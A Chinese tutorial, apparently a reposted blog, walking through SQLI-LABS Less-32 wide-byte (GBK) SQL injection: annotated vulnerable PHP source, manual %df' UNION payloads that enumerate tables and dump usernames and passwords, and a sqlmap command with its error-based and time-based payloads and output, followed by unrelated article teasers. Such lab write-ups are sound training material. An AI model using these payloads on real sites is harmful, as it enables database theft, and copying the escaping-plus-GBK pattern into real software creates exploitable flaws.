目录

一、宽字符注入

二、代码审计

1、代码审计

2、SQL注入安全性分析

三、渗透实战

1、进入靶场

2、id=1探测

3、id=%df'-- 探测

4、手工注入

(1)获取列数

(2)获取回显位

(3)获取数据库名

(4)获取表名

(5)获取列名

(6)获取数据

5、sqlmap渗透实战 


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第32关Less 32基于宽字符的SQL注入关卡进行渗透实战。  

一、宽字符注入

宽字节注入是一种利用数据库字符集转换风险的SQL注入技术,主要影响使用GBK、BIG5等多字节字符集的系统。其核心原理如下所示。

  • 当系统使用addslashes或mysql_real_escape_string转义单引号时,会添加反斜杠(\')。

  • 在GBK编码中,%df%5c可组成一个合法汉字"運"。

  • 攻击者构造%df',转义后变为%df%5c%27,被解析为"運'"使单引号逃逸。

二、代码审计

1、代码审计

本关卡Less32是基于宽字符型的SQL注入关卡,打开对应的源码index.php,如下所示。

Less32关卡的源码功能是简单基于id的查询页面,详细注释过的源码如下所示。

<?php
// 引入数据库连接配置
include("../sql-connections/sqli-connect.php");/*** 自定义转义函数:模拟绕过addslashes()的场景* @param string $string 待转义的字符串* @return string 转义后的字符串*/
function check_addslashes($string) {// 转义反斜杠:将单个反斜杠替换为两个反斜杠(\\\\ → 转义后为\\)$string = preg_replace('/' . preg_quote('\\') . '/', '\\\\\\', $string); // 转义单引号:将单引号'替换为\'(通过添加反斜杠)$string = preg_replace('/\'/i', '\\\'', $string); // 转义双引号:将双引号"替换为\"$string = preg_replace('/"/', '\\"', $string); return $string;
}// 处理GET请求中的id参数
if (isset($_GET['id'])) {$id = check_addslashes($_GET['id']); // 调用自定义转义函数// echo "The filtered request is :" .$id . "<br>"; // 调试用,输出过滤后的参数// 记录id参数到日志文件$fp = fopen('result.txt', 'a');fwrite($fp, 'ID:' . $id . "\n");fclose($fp);// 设置数据库字符集为gbk(关键风险:可能引发宽字符注入)mysqli_query($con1, "SET NAMES gbk");// 构造SQL查询(直接拼接转义后的id参数)$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if ($row) {// 成功时显示用户信息echo '<font color= "#00FF00">';echo 'Your Login name:' . $row['username'];echo "<br>Your Password:" . $row['password'];echo "</font>";} else {// 失败时显示数据库错误(可用于错误回显注入)echo '<font color= "#FFFF00">';print_r(mysqli_error($con1)); // 暴露SQL语法错误,帮助攻击者调试Payloadecho "</font>";}
} else {// 未传递id参数时的提示echo "Please input the ID as parameter with numeric value";
}
?><!-- 页面底部提示:显示转义后的字符串及其十六进制表示 -->
<font size='4' color= "#33FFFF">
<?php
function strToHex($string) {$hex = '';for ($i = 0; $i < strlen($string); $i++) {$hex .= dechex(ord($string[$i])); // 将字符串转换为十六进制}return $hex;
}
echo "Hint: The Query String you input is escaped as : " . $id . "<br>";
echo "The Query String you input in Hex becomes : " . strToHex($id) . "<br>";
?>
</font>

本关卡通过模拟addslashes()转义逻辑,结合gbk字符集演示了宽字符注入的原理。核心风险在于转义后的反斜杠与宽字符组合导致单引号逃逸,核心功能如下所示。

  • 自定义转义函数:使用check_addslashes函数模拟 addslashes() 的转义逻辑,对单引号、双引号和反斜杠进行转义(如 ' → \',\ → \\)。
  • 参数处理:从 GET 参数获取id,调用转义函数后直接拼接 SQL 查询语句中(SELECT * FROM users WHERE id='$id')。
  • 数据库配置:显式设置字符集为 gbk,为宽字符注入创造条件。
  • 错误回显:当 SQL 查询失败时,返回数据库错误信息(如语法错误),可用于注入攻击的错误提示。
  • 调试提示:页面底部显示转义后的字符串及其十六进制形式,帮助理解参数处理过程。

2、SQL注入安全性分析

本关卡具有宽字符注入风险,具体分析如下所示。

  • 转义逻辑缺陷

    • 转义函数check_addslashes()将单引号'转义为\'(反斜杠 + 单引号),故而本关卡无法通过普通的单引号闭合进行SQL注入。
    • 但当数据库字符集为gbk(或其他支持多字节字符的编码)时,反斜杠\(ASCII 码为 5C)与后续字符可能组成一个宽字符,导致转义的单引号被 “吃掉”。
  • 注入流程
    • 输入 payload:%df'(URL 编码为 %df%27)。
    • 单引号转义后变为:\' URL 编码为 %5C%27,%df'转移后变为了%df%5C%27
    • 在gbk字符集中,%df%5C 被解析为一个宽字符,%27(单引号)被保留。

三、渗透实战

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://192.168.59.1/sqli-labs/

点击进入Page2,如下图红框所示。 

其中第32关在进阶挑战关卡“SQLi-LABS Page-2 (Adv Injections)”中, 点击进入如下页面。

http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap

点击上图红框的Less32关卡,进入到靶场的第32关卡宽字符型注入关,页面提示“Please input the ID as parameter with numeric value”,并且在页面下方提示HINT信息“Hint: The Query String you input is escaped as :The Query String you input in Hex becomes ”,具体如下所示。

http://192.168.59.1/sqli-labs/Less-32/

2、id=1探测

3、id=%df'-- 探测

注入语句为%df' --空格,由于空格的URL编码为加号符号,故而完整渗透URL如下所示。

http://192.168.59.1/sqli-labs/Less-32/?id=1%df' --+

如下所示构造闭合成功,页面显示用户名和密码并参考HINT输出了宽字符内容。 

4、手工注入

(1)获取列数

如下所示,order by为3时渗透成功,但是order by为4时提示列不存在,故而共有3列。

http://192.168.59.1/sqli-labs/Less-32/?id=1%df' ORDER BY 3--+
http://192.168.59.1/sqli-labs/Less-32/?id=1%df' ORDER BY 4--+

(2)获取回显位

如下所示,回显位为2和3,接下来我们使用第2个回显位进行渗透。

http://192.168.59.1/sqli-labs/Less-32/?id=-1%df' UNION SELECT 1,2,3--+

(3)获取数据库名

如下所示,数据库的名称为“security”。

http://192.168.59.1/sqli-labs/Less-32/?id=-1%df' UNION SELECT 1,DATABASE(),3--+

(4)获取表名

如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。

http://192.168.59.1/sqli-labs/Less-32/?id=-1%df' UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--+

(5)获取列名

如下所示,数据库users表的列名分别为id,username,password。特别注意这里users表使用十六进制0x7573657273表示,因为'users'会被转义,此时渗透成功。

http://192.168.59.1/sqli-labs/Less-32/?id=-1%df' UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME=0x7573657273--+

(6)获取数据

最后通过上一步获取到的列名来提取users表的内容,这里符号:也被替换为0x3a,如下所示渗透成功。

http://192.168.59.1/sqli-labs/Less-32/?id=-1%df' UNION SELECT 1,GROUP_CONCAT(CONCAT(username,0x3a,password)),3 FROM users--+

5、sqlmap渗透实战 

 我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),其中-u参数指定目标URL地址,在id=1后面增加%df'的目标是指定闭合方式,星号*放在id=1%df'后则是指定注入点为id,完整的SQL注入命令如下所示。

sqlmap -u "http://192.168.59.1/sqli-labs/Less-32/?id=1%df'*" --current-db  --batch --dump

sqlmap渗透成功,可以通过报错法、时间盲注方法渗透成功,具体信息如下所示。

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1318 HTTP(s) requests:
---
Parameter: #1* (URI)Type: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: http://192.168.59.1:80/sqli-labs/Less-32/?id=1%df' AND GTID_SUBSET(CONCAT(0x7176767871,(SELECT (ELT(5642=5642,1))),0x7178766b71),5642)-- HYRVType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: http://192.168.59.1:80/sqli-labs/Less-32/?id=1%df' AND (SELECT 5958 FROM (SELECT(SLEEP(5)))kwSY)-- AhYa
---
[22:55:13] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.5.9
back-end DBMS: MySQL >= 5.6
[22:55:13] [INFO] fetching current database
[22:55:13] [INFO] retrieved: 'security'
current database: 'security'Database: security
Table: users
[14 entries]
+----+---------------+----------------+
| id | password      | username       |
+----+---------------+----------------+
| 1  | Dumb          | Dumb           |
| 2  | I-kill-you    | Angelina       |
| 3  | p@ssword      | Dummy          |
| 4  | crappy        | secure         |
| 5  | stupidity     | stupid         |
| 6  | genious       | superman       |
| 7  | mob!le        | batman         |
| 8  | mooyuan123456 | admin          |
| 9  | admin1        | admin1         |
| 10 | admin2        | admin2         |
| 11 | admin3        | admin3         |
| 12 | dumbo         | dhakkan        |
| 14 | admin4        | admin4         |
| 15 | 123456        | admin'#mooyuan |
+----+---------------+----------------+

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/92217.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/92217.shtml
英文地址,请注明出处:http://en.pswp.cn/web/92217.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL的创建管理表:

目录 基础知识&#xff1a; 一条数据存储的过程&#xff1a; 标识符命名规则&#xff1a; 创建和管理数据库&#xff1a; 创建数据库&#xff1a; 创建数据库&#xff1a; 创建数据库并指定字符集&#xff1a; 判断数据库是否存在&#xff0c;不存在则创建数据库&#…

Linux Vi常用指令总结

Vi&#xff08;及其改进版 Vim&#xff09;是 Linux 中常用的文本编辑器&#xff0c;虽然入门有一定门槛&#xff0c;但熟练掌握后效率极高。以下是常见指令分类整理&#xff1a;1. 模式切换 普通模式&#xff08;命令模式&#xff09;&#xff1a;启动后的默认模式&#xff0c…

解决远程连接云服务器mysql编号1130问题

连接云服务器mysql失败&#xff0c;可能是因为ip发生改变&#xff0c;被mysql拦截。我自己前后做了两件事。大家赶时间可直接从二开始&#xff0c;不放心的就从一开始到结束一、在云服务器实例中为当前ip配置安全组权限。1.找到当前服务器的实例&#xff0c;进入安全组。为其增…

大数据存储域——HDFS存储系统

摘要本文介绍了HDFS存储系统&#xff0c;包括其组件、工作机制、实战经验总结、使用场景以及与SpringBoot的实战示例和优化设计。HDFS由Client、NameNode、SecondaryNameNode、DataNode等组件构成&#xff0c;通过特定的工作机制实现文件的读取和写入。它适用于多种场景&#x…

jdk动态代理如何实现

口语化答案好的&#xff0c;面试官。jdk 的动态代理主要是依赖Proxy类 和InvocationHandler 接口。jdk 动态代理要求类必须有接口。在进行实现的时候&#xff0c;首先要定义接口&#xff0c;比如MyService&#xff0c;这个接口就是我们的正常功能的实现。但是希望在不更改MySer…

自然语言处理的相关概念与问题

目录 一、学科的产生与发展 1、什么是自然语言&#xff1f; 2、自然语言处理技术的诞生 二、技术挑战 三、基本方法 1、方法概述 理性主义方法 经验主义方法 2、传统的统计学习方法 3、深度学习方法 词向量表示 词向量学习 开源工具 四、应用举例 1、汉语分词 …

Anthropic MCP架构深度解析:下一代AI工具集成协议的设计哲学

本文深入剖析Anthropic提出的模型通信协议(MCP),揭示其如何重构AI与工具生态的交互范式,打造安全高效的智能体基础设施。 引言:AI工具集成的"巴别塔困境" 当前AI生态面临的核心挑战: #mermaid-svg-lSpYBxzxD5oiYwcL {font-family:"trebuchet ms",verd…

【注意】HCIE-Datacom华为数通考试,第四季度将变题!

最近&#xff0c;数据通信圈子可热闹坏啦&#xff01;好几个渠道都证实了&#xff0c;HCIE - Datacom实验考试马上要有大变化咯&#xff01; 这可不是啥小道消息&#xff0c;也不是那种试点的传言&#xff0c;而是从IE内部技术交流会上得到的确切消息。 这边联系了华为认证的好…

MySql 硬核解析系列 一 MySQL的锁机制

MySQL 的锁机制是其并发控制的核心,直接影响数据库的性能、一致性与可用性。本文将从底层原理、锁的分类、实现机制、锁的粒度、锁的兼容性、死锁处理、InnoDB 的行锁实现、MVCC 与锁的关系等多个维度,进行硬核、深度解析,适用于希望深入理解 MySQL 并发控制机制的开发者与 …

7.软件工程

软件生命周期软件生命周期什么是软件工程&#xff1f;以工程化的原则和方法来开发软件&#xff0c;其目的是提高软件生产率、提高软件质量、降低软件成本。软件工程3大组成部分&#xff1a;方法、工具、过程。什么是软件生命周期&#xff1a;经过开发、使用和维护&#xff0c;直…

C 语言结构体与 Java 类的异同点深度解析

在编程语言的发展历程中,C 语言的结构体与 Java 的类扮演着至关重要的角色。作为面向过程编程的经典代表,C 语言的结构体为数据封装提供了基础形式;而 Java 作为纯面向对象语言,类则是其核心语法结构。二者既存在一脉相承的设计思想,又因编程语言范式的差异呈现出显著区别…

C++、STL面试题总结(二)

1. 必须实现拷贝构造函数的场景 核心问题&#xff1a;默认拷贝构造的缺陷 C 默认的拷贝构造函数&#xff08;浅拷贝&#xff09;&#xff0c;会直接拷贝指针 / 引用成员的地址。若类包含引用成员或指向堆内存的指针&#xff0c;浅拷贝会导致 “多个对象共享同一份资源”&…

IntelliJ IDEA2024 错误‘http://start.spring.io/‘的初始化失败,请检查URL、网络和代理设置。

下载新版本的intellij idea2024创建项目时&#xff0c;服务器URL报错误http://start.spring.io/的初始化失败&#xff0c;请检查URL、网络和代理设置。错误消息&#xff1a;Cannot download http://start.spring.io/:Permission denied:getsockopt&#xff0c;具体如下图&#…

从零开始的云计算生活——第三十八天,避坑落井,Docker容器模块

一.故事背景 在综合使用了之前全部的知识完成项目之后&#xff0c;接下来将学习更简单的方法来对之前的命令进行使用&#xff0c;马上进入容器模块 二. Docker概述 Docker简介 Docker&#xff0c;翻译过来就是码头工人 Docker是一个开源的应用容器引擎&#xff0c;让开发者…

Python与自动化运维:构建智能IT基础设施的终极方案

Python与自动化运维:构建智能IT基础设施的终极方案 引言:运维革命的Python引擎 在DevOps理念席卷全球的今天,企业IT基础设施的复杂度呈指数级增长。某跨国银行的数据显示,采用Python构建的自动化运维体系使其服务器部署效率提升400%,故障响应时间缩短至原来的1/8。本文将…

HarmonyOS应用开发环境搭建以及快速入门介绍

下载并安装DevEco Studio&#xff0c;这是华为官方提供的HarmonyOS应用开发IDE。访问华为开发者联盟官网下载对应操作系统的版本。安装完成后&#xff0c;配置HarmonyOS SDK和必要的工具链。 确保计算机满足开发环境要求&#xff0c;包括Windows 10 64位或macOS 10.14及以上操…

RocketMQ与Kafka 消费者组的‌重平衡操作消息顺序性对比

RocketMQ 的重平衡机制本身不会直接影响消息顺序&#xff0c;但消费模式的选择和使用需注意以下细节&#xff1a;重平衡机制RocketMQ消费者组的重平衡策略是每隔20秒从Broker获取消费组的最新消费进度&#xff0c;并根据订阅信息重新分配消息队列。该策略主要影响消息拉取的均衡…

学习 Android(十四)NDK基础

学习 Android&#xff08;十四&#xff09;NDK基础 Android NDK 是一个工具集&#xff0c;可让我们使用 C 和 C 等语言以原生代码实现应用的各个部分。对于特定类型的应用&#xff0c;这可以帮助我们重复使用以这些语言编写的代码库。 接下来&#xff0c;我们将按照以下步骤进行…

宝塔(免费版9.2.0)的docker拉取仓库失败的加速方法

宝塔docker拉取仓库失败 完美加速方法_宝塔docker加速-CSDN博客 版本&#xff1a;免费版 9.2.0 https://docker.1ms.run 其他的试了很多 都不行 最后不要用宝塔的控制面板(很卡)&#xff0c;直接在linux中用命令行&#xff0c;效果就很好了。

文献解读-生境分析亚区域选择+2D_DL+3D_DL-局部晚期食管鳞状细胞癌新辅助化疗免疫治疗反应预测

研究标题&#xff1a;结合亚区域放射组学与多通道二维或三维深度学习模型预测局部晚期食管鳞状细胞癌&#xff08;LA-ESCC&#xff09;患者对新辅助化疗免疫治疗&#xff08;NACI&#xff09;的反应借鉴点&#xff1a;建模思路&#xff08;看流程图理解就够了&#xff09;引言食…